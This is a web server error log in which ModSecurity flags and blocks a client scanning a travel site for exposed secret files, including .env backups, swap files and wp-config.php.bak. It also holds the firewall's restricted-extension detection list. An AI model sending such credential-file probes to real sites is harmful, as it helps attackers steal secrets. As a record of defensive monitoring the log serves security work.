[Fri Jul 17 08:55:13.600509 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/app.log"] [unique_id "almgmYl9vhFBGA6D8l955wAAAAw"]
[Fri Jul 17 08:55:13.600674 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.600833 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmYl9vhFBGA6D8l955wAAAAw"]
[Fri Jul 17 08:55:13.605738 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.swp"] [unique_id "almgmYZvbo7N5o5zeYC-TQAAABw"]
[Fri Jul 17 08:55:13.606008 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.swp"] [unique_id "almgmYZvbo7N5o5zeYC-TQAAABw"]
[Fri Jul 17 08:55:13.606346 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.swp"] [unique_id "almgmYZvbo7N5o5zeYC-TQAAABw"]
[Fri Jul 17 08:55:13.606516 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.606701 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmYZvbo7N5o5zeYC-TQAAABw"]
[Fri Jul 17 08:55:13.606728 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.606764 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.608599 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.609876 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.local.swp"] [unique_id "almgmXRlmrtCoY_COpclyQAAAAg"]
[Fri Jul 17 08:55:13.610131 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local.swp"] [unique_id "almgmXRlmrtCoY_COpclyQAAAAg"]
[Fri Jul 17 08:55:13.610341 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env-backup"] [unique_id "almgmQ7FYe46zHK_jL3PuQAAABk"]
[Fri Jul 17 08:55:13.610413 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local.swp"] [unique_id "almgmXRlmrtCoY_COpclyQAAAAg"]
[Fri Jul 17 08:55:13.610535 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.610657 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env-backup"] [unique_id "almgmQ7FYe46zHK_jL3PuQAAABk"]
[Fri Jul 17 08:55:13.610682 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmXRlmrtCoY_COpclyQAAAAg"]
[Fri Jul 17 08:55:13.610766 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.610904 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmQ7FYe46zHK_jL3PuQAAABk"]
[Fri Jul 17 08:55:13.611891 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.tmp"] [unique_id "almgmbEWOaI5pmYo9fnO0gAAAAA"]
[Fri Jul 17 08:55:13.612180 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.tmp"] [unique_id "almgmbEWOaI5pmYo9fnO0gAAAAA"]
[Fri Jul 17 08:55:13.612298 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.612435 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmbEWOaI5pmYo9fnO0gAAAAA"]
[Fri Jul 17 08:55:13.614297 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local.save"] [unique_id "almgmVCBpfuYyhJ140vSigAAAB4"]
[Fri Jul 17 08:55:13.614570 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local.save"] [unique_id "almgmVCBpfuYyhJ140vSigAAAB4"]
[Fri Jul 17 08:55:13.614679 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.614792 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmVCBpfuYyhJ140vSigAAAB4"]
[Fri Jul 17 08:55:13.615765 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/wp-login.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.615783 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.local.bak"] [unique_id "almgmSvekYYQ8uns4MwlSAAAAA0"]
[Fri Jul 17 08:55:13.616040 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local.bak"] [unique_id "almgmSvekYYQ8uns4MwlSAAAAA0"]
[Fri Jul 17 08:55:13.616347 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local.bak"] [unique_id "almgmSvekYYQ8uns4MwlSAAAAA0"]
[Fri Jul 17 08:55:13.616442 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.616564 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmSvekYYQ8uns4MwlSAAAAA0"]
[Fri Jul 17 08:55:13.619186 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.619498 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.622821 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.774210 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:14.252196 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkI1dLClkUfK_dfHktAAAAAI"]
[Fri Jul 17 08:55:14.795063 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/bus/memory/devices/memory124/node0/memory7/power/"] [unique_id "almgmrEWOaI5pmYo9fnO1AAAAAA"]
[Fri Jul 17 08:55:14.847701 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/bus/memory/devices/memory124/node0/memory7/power/"] [unique_id "almgmrEWOaI5pmYo9fnO1AAAAAA"]
[Fri Jul 17 08:55:15.530450 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkYbYoYGvYnmnM82CDQAAAAs"]
[Fri Jul 17 08:55:16.527867 2026] [authz_core:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.bak
[Fri Jul 17 08:55:16.542768 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:16.620691 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
